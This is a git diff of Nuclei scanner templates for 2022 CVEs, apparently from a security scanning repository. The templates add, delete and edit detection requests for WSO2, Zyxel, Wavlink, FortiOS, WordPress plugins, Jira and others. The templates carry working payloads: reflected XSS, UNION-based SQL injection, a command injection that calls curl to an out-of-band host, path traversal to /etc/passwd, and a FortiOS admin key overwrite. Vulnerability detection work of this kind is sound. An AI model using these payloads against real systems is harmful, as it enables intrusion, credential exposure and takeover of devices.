{{Hostname}} + req-condition: true + matchers: + - type: dsl + dsl: + - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" + +# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29548.yaml b/nuclei-templates/CVE-2022/CVE-2022-29548.yaml deleted file mode 100644 index f6b5e980e8..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29548.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2022-29548 -info: - name: WSO2 Management Console - Reflected XSS - author: edoardottt - severity: medium - description: | - A reflected XSS issue exists in the Management Console of several WSO2 products. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-29548 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29548 - - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1603 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-29548 - cwe-id: CWE-79 - metadata: - google-dork: inurl:"carbon/admin/login" - verified: "true" - tags: cve,cve2022,wso2,xss -requests: - - method: GET - path: - - "{{BaseURL}}/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "CARBON.showWarningDialog('???');alert(document.domain)//???" - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30489.yaml b/nuclei-templates/CVE-2022/CVE-2022-30489.yaml new file mode 100644 index 0000000000..fa2302aea9 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-30489.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-30489 +info: + name: Wavlink Wn535g3 - POST XSS + author: For3stCo1d + severity: medium + description: | + WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi. + reference: + - https://github.com/badboycxcc/XSS-CVE-2022-30489 + - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 + - https://github.com/badboycxcc/XSS + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30489 + cwe-id: CWE-79 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: xss,cve2022,wavlink,cve,router,iot +requests: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn + matchers-condition: and + matchers: + - type: word + words: + - '' + - 'parent.location.replace("http://")' + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30525.yaml b/nuclei-templates/CVE-2022/CVE-2022-30525.yaml new file mode 100644 index 0000000000..f1fe6f3456 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-30525.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-30525 +info: + name: Zyxel Firewall - OS Command Injection + author: h1ei1,prajiteshsingh + severity: critical + description: | + An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. + reference: + - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ + - https://github.com/rapid7/metasploit-framework/pull/16563 + - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml + - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-30525 + cwe-id: CWE-78 + metadata: + shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" + tags: rce,zyxel,cve,cve2022,firewall,unauth,kev +requests: + - raw: + - | + POST /ztp/cgi-bin/handler HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + - type: status + status: + - 500 + +# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30776.yaml b/nuclei-templates/CVE-2022/CVE-2022-30776.yaml new file mode 100644 index 0000000000..13cca2459e --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-30776.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-30776 +info: + name: Atmail - Cross Site Scripting + author: 3th1c_yuk1 + severity: medium + description: | + atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter. + reference: + - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 + - https://www.atmail.com/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 + - https://help.atmail.com/hc/en-us/sections/115003283988 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30776 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"atmail" + verified: "true" + tags: cve,cve2022,atmail,xss +requests: + - method: GET + path: + - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Error: 1" + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30777.yaml b/nuclei-templates/CVE-2022/CVE-2022-30777.yaml new file mode 100644 index 0000000000..2c50f208fc --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-30777.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-30777 +info: + name: Parallels H-Sphere - Cross Site Scripting + author: 3th1c_yuk1 + severity: medium + description: | + Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter. + reference: + - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 + - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 + - https://en.wikipedia.org/wiki/H-Sphere + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30777 + cwe-id: CWE-79 + metadata: + shodan-query: title:"h-sphere" + verified: "true" + tags: cve,cve2022,parallels,hsphere,xss +requests: + - method: GET + path: + - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - '">' + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-31793.yaml b/nuclei-templates/CVE-2022/CVE-2022-31793.yaml deleted file mode 100644 index 7b771a920c..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-31793.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2022-31793 -info: - name: muhttpd <= 1.1.5 - Path traversal - author: scent2d - severity: high - description: | - A Path traversal vulnerability exists in versions muhttpd 1.1.5 and earlier. The vulnerability is directly requestable to files within the file system. - reference: - - https://derekabdine.com/blog/2022-arris-advisory.html - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31793 - - https://nvd.nist.gov/vuln/detail/CVE-2022-31793 - - https://derekabdine.com/blog/2022-arris-advisory - metadata: - verified: "true" - tags: cve,cve2022,network,muhttpd,lfi,unauth -network: - - host: - - "{{Hostname}}" - inputs: - - data: "47455420612F6574632F706173737764" - type: hex - - data: "\n\n" - read-size: 128 - matchers: - - type: word - part: body - encoding: hex - words: - - "726f6f743a" diff --git a/nuclei-templates/CVE-2022/CVE-2022-32015.yaml b/nuclei-templates/CVE-2022/CVE-2022-32015.yaml new file mode 100644 index 0000000000..b1faf475d6 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-32015.yaml @@ -0,0 +1,29 @@ +id: CVE-2022-32015 +info: + name: Complete Online Job Search System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=category&search=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-8.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32015 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32015 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,jobsearch +variables: + num: "999999999" +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+" + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' diff --git a/nuclei-templates/CVE-2022/CVE-2022-32018.yaml b/nuclei-templates/CVE-2022/CVE-2022-32018.yaml deleted file mode 100644 index 1fa8cbf9bc..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-32018.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2022-32018 -info: - name: Complete Online Job Search System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=hiring&search=. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32018 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32018 - cwe-id: CWE-89 - metadata: - verified: "true" - tags: cve,cve2022,sqli -variables: - num: "999999999" -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' diff --git a/nuclei-templates/CVE-2022/CVE-2022-32026.yaml b/nuclei-templates/CVE-2022/CVE-2022-32026.yaml new file mode 100644 index 0000000000..87d30308b6 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-32026.yaml @@ -0,0 +1,47 @@ +id: CVE-2022-32026 +info: + name: Car Rental Management System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-5.md + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32028 + cwe-id: CWE-89 + metadata: + comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username. + shodan-query: http.html:"Car Rental Management System" + verified: "true" + tags: cve,cve2022,carrental,cms,sqli,authenticated +variables: + num: "999999999" +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + - | + GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1 + Host: {{Hostname}} + skip-variables-check: true + redirects: true + max-redirects: 2 + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-32409.yaml b/nuclei-templates/CVE-2022/CVE-2022-32409.yaml new file mode 100644 index 0000000000..aec3372d91 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-32409.yaml @@ -0,0 +1,31 @@ +id: CVE-2022-32409 +info: + name: i3geo - Directory Traversal + author: pikpikcu + severity: critical + description: A local file inclusion (LFI) vulnerability in the component codemirror.php of Portal do Software Publico Brasileiro i3geo v7.0.5 allows attackers to execute arbitrary PHP code via a crafted HTTP request + reference: + - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt + - https://nvd.nist.gov/vuln/detail/CVE-2022-32409 + - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-32409 + cwe-id: CWE-94 + metadata: + shodan-query: http.html:"i3geo" + verified: "true" + tags: cve,cve2022,i3geo,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-34049.yaml b/nuclei-templates/CVE-2022/CVE-2022-34049.yaml new file mode 100644 index 0000000000..6a78378e04 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-34049.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-34049 +info: + name: Wavlink Exportlogs.sh - Configuration Exposure + author: For3stCo1d + severity: medium + description: | + An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows unauthenticated attackers to download log files and configuration data. + reference: + - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049 + - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing + - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-34049 + cwe-id: CWE-552 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: cve,cve2022,wavlink,router,exposure +requests: + - raw: + - | + GET /cgi-bin/ExportLogs.sh HTTP/1.1 + Host: {{Hostname}} + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Login' + - 'Password' + condition: and + - type: word + part: header + words: + - filename="sysLogs.txt" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-35416.yaml b/nuclei-templates/CVE-2022/CVE-2022-35416.yaml deleted file mode 100644 index d782414f0d..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-35416.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2022-35416 -info: - name: H3C SSL VPN through 2022-07-10 - Cookie Based XSS - author: 0x240x23elu - severity: medium - description: | - H3C SSL VPN through 2022-07-10 allows wnm/login/login.json svpnlang cookie XSS. - reference: - - https://github.com/advisories/GHSA-9x76-78gc-r3m9 - - https://github.com/Docker-droid/H3C_SSL_VPN_XSS - - https://nvd.nist.gov/vuln/detail/CVE-2022-35416 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-35416 - cwe-id: CWE-79 - metadata: - shodan-query: http.html_hash:510586239 - verified: "true" - tags: cve,cve2022,xss,vpn,h3c -requests: - - raw: - - | - GET /wnm/login/login.json HTTP/1.1 - Host: {{Hostname}} - Cookie: svpnlang= - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-40684.yaml b/nuclei-templates/CVE-2022/CVE-2022-40684.yaml deleted file mode 100644 index f2ede7984e..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-40684.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2022-40684 - -info: - name: FortiOS Authentication Bypass - author: Shockwave - severity: Critical - description: An authentication bypass using an alternate path or channel vulnerability [CWE-288] in FortiOS, FortiProxy and FortiSwitchManager may allow an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests. - reference: - - https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/ - - tags: authentication bypass - -requests: - - raw: - - | - PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 - Host: {{Hostname}} - User-Agent: Report Runner - Content-Type: application/json - Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000; - Content-Length: 610 - { - "ssh-public-key1": "fake-key" - } - matchers: - - type: word - words: - - 'Invalid SSH public key.\' diff --git a/nuclei-templates/CVE-2022/CVE-2022-44356.yaml b/nuclei-templates/CVE-2022/CVE-2022-44356.yaml index 837f02cf52..7437d2744d 100644 --- a/nuclei-templates/CVE-2022/CVE-2022-44356.yaml +++ b/nuclei-templates/CVE-2022/CVE-2022-44356.yaml @@ -47,3 +47,4 @@ http: - 'contains_all(header, "application/octet-stream", "filename=\"")' - 'status_code == 200' condition: and +# digest: 4a0a004730450220528a96c79804456e91ff6fa36400f389325e6572b43946391dffc097a5457a3f02210096e0f05b5e190625e43670ce52943b608edce6402cf7e91c86e2c458b716a2bf:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-48164.yaml b/nuclei-templates/CVE-2022/CVE-2022-48164.yaml index 2d408ad1bd..175086b078 100644 --- a/nuclei-templates/CVE-2022/CVE-2022-48164.yaml +++ b/nuclei-templates/CVE-2022/CVE-2022-48164.yaml @@ -48,5 +48,4 @@ http: - 'contains(content_type, "application/octet-stream")' - 'status_code == 200' condition: and - -# digest: 490a0046304402206585c6c216c63e784b2c578deb5f8959425faa5fbe66cd69e010693666ce911002207f91d8c270c614232b62e7d32d87f7595f6488865441d2b5d992f4f8c024b382:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# digest: 4a0a00473045022100afa09af09de275f57985a8bbbf2a65f5a85f7d720fbd429fff9d51c7e0dd0c0902201905c74bcb18151317b27ff02dc6af10dd69e8341586c23c0bfc055242b26da9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-48166.yaml b/nuclei-templates/CVE-2022/CVE-2022-48166.yaml index 2ca2e12b12..83c8933c0a 100644 --- a/nuclei-templates/CVE-2022/CVE-2022-48166.yaml +++ b/nuclei-templates/CVE-2022/CVE-2022-48166.yaml @@ -50,5 +50,4 @@ http: - 'contains_all(header, "application/octet-stream", "filename=\"")' - 'status_code == 200' condition: and - -# digest: 4a0a00473045022100c396fd242ac470a324e78bd9a0275cce7c6519578d5399b6af2eb4a33773248702201e26e17b9d4ef3c4b91aa67b6acb6922af3f1cdc3707f0e00bc7bd9014fd3fce:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# digest: 490a0046304402204e3da5c1273a0cb53ca3565120713f8e9246caab6aff2a24a04f1183fc6c350d0220660a92c14214eb779d91a8ebbd412315e04c5aaaff81ca0499f182057bd2df56:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0208.yaml b/nuclei-templates/CVE-2022/cve-2022-0208.yaml deleted file mode 100644 index b9f0a551d6..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0208.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2022-0208 - -info: - name: WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting - author: edoardottt - severity: medium - description: | - WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the 'mapid' parameter before outputting it back in the "Bad mapid" error message, leading to reflected cross-site scripting. - impact: | - Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. - remediation: | - Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability. - reference: - - https://wpscan.com/vulnerability/59a2abd0-4aee-47aa-ad3a-865f624fa0fc - - https://nvd.nist.gov/vuln/detail/CVE-2022-0208 - - https://github.com/ARPSyndicate/cvemon - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-0208 - cwe-id: CWE-79 - epss-score: 0.00106 - epss-percentile: 0.42122 - cpe: cpe:2.3:a:mappresspro:mappress:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: mappresspro - product: mappress - framework: wordpress - tags: cve2022,cve,mappress,xss,wordpress,wp-plugin,wpscan,mappresspro - -http: - - method: GET - path: - - "{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "text/html" - - - type: word - part: body - words: - - "" - - "Bad mapid" - condition: and - - - type: status - status: - - 200 -# digest: 4b0a00483046022100b22a13c10631b7349f4edafe8cde23c314f46cc6c3661afdbef2141c2f9cab67022100adfeec912a26c02a2ba1982ccd3dddb34fab524142068da9e659428a5efd7e4d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0288.yaml b/nuclei-templates/CVE-2022/cve-2022-0288.yaml deleted file mode 100644 index 6fe7c560eb..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0288.yaml +++ /dev/null @@ -1,60 +0,0 @@ -id: CVE-2022-0288 - -info: - name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting - author: DhiyaneshDK - severity: medium - description: | - WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page. - impact: | - Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser. - remediation: Fixed in version 2.7.12 - reference: - - https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0288 - - https://github.com/ARPSyndicate/cvemon - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-0288 - cwe-id: CWE-79 - epss-score: 0.00106 - epss-percentile: 0.42122 - cpe: cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: ad_inserter_pro_project - product: ad_inserter_pro - framework: wordpress - tags: cve,cve2022,wordpress,xss,wpscan,ad_inserter_pro_project - -http: - - method: POST - path: - - "{{BaseURL}}" - - body: | - html_element_selection= - - headers: - Content-Type: "application/x-www-form-urlencoded" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "ad-inserter" - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 4a0a00473045022100a1ca7cd22a56a330f431df7aac1d8932a96f61707e94e4cec22162652d6e4fb3022073e6e623e1d660731778b65b288a3bf36e832dd59d8e3eb8377199e6f4915093:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0422.yaml b/nuclei-templates/CVE-2022/cve-2022-0422.yaml deleted file mode 100644 index 75d7077c97..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0422.yaml +++ /dev/null @@ -1,63 +0,0 @@ -id: CVE-2022-0422 - -info: - name: WordPress White Label CMS <2.2.9 - Cross-Site Scripting - author: random-robbie - severity: medium - description: | - WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Update to WordPress White Label CMS plugin version 2.2.9 or later to mitigate this vulnerability. - reference: - - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc - - https://plugins.trac.wordpress.org/changeset/2672615 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0422 - - https://github.com/ARPSyndicate/cvemon - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-0422 - cwe-id: CWE-79 - epss-score: 0.001 - epss-percentile: 0.40139 - cpe: cpe:2.3:a:videousermanuals:white_label_cms:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: videousermanuals - product: white_label_cms - framework: wordpress - tags: cve2022,cve,wordpress,xss,wp-plugin,wpscan,videousermanuals - -http: - - raw: - - | - POST /wp-login.php?wlcms-action=preview HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "alert(/XSS/);" - - - type: word - part: body - words: - - "wlcms-login-wrapper" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 490a0046304402202d864fa8ffa1dc0885d61b1e349c1c268e266c83d7d2e11e236e9df48039abe002205fb0b2d84d41d806cc6e52c0fdd1dbeed94827fa1019c490c3926ec16402eb79:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0432.yaml b/nuclei-templates/CVE-2022/cve-2022-0432.yaml deleted file mode 100644 index 03ca087bd0..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0432.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2022-0432 - -info: - name: Mastodon Prototype Pollution Vulnerability - author: pikpikcu - severity: medium - description: The GitHub repository mastodon/mastodon prior to 3.5.0 contains a Prototype Pollution vulnerability. - reference: - - https://github.com/mastodon/mastodon/commit/4d6d4b43c6186a13e67b92eaf70fe1b70ea24a09 - - https://drive.google.com/file/d/1vpZ0CcmFhTEUasLTPUBf8o-4l7G6ojtG/view - - https://nvd.nist.gov/vuln/detail/CVE-2022-0432 - tags: cve,cve2022,mastodon,prototype - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2022-0432 - cwe-id: CWE-1321 - -requests: - - method: GET - path: - - '{{BaseURL}}/embed.js' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "if (data.type !== 'setHeight' || !iframes[data.id]) {" - -# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2022/cve-2022-0540.yaml b/nuclei-templates/CVE-2022/cve-2022-0540.yaml deleted file mode 100644 index 477db3d259..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0540.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2022-0540 - -info: - name: Atlassian Jira Seraph - Authentication Bypass - author: DhiyaneshDK - severity: critical - description: | - Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential disruption of business operations. - remediation: Ensure you are using the latest version and that all security patches have been applied. - reference: - - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-0540 - - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20 - - https://jira.atlassian.com/browse/JRASERVER-73650 - - https://jira.atlassian.com/browse/JSDSERVER-11224 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-0540 - cwe-id: CWE-287 - epss-score: 0.2507 - epss-percentile: 0.96565 - cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:* - metadata: - 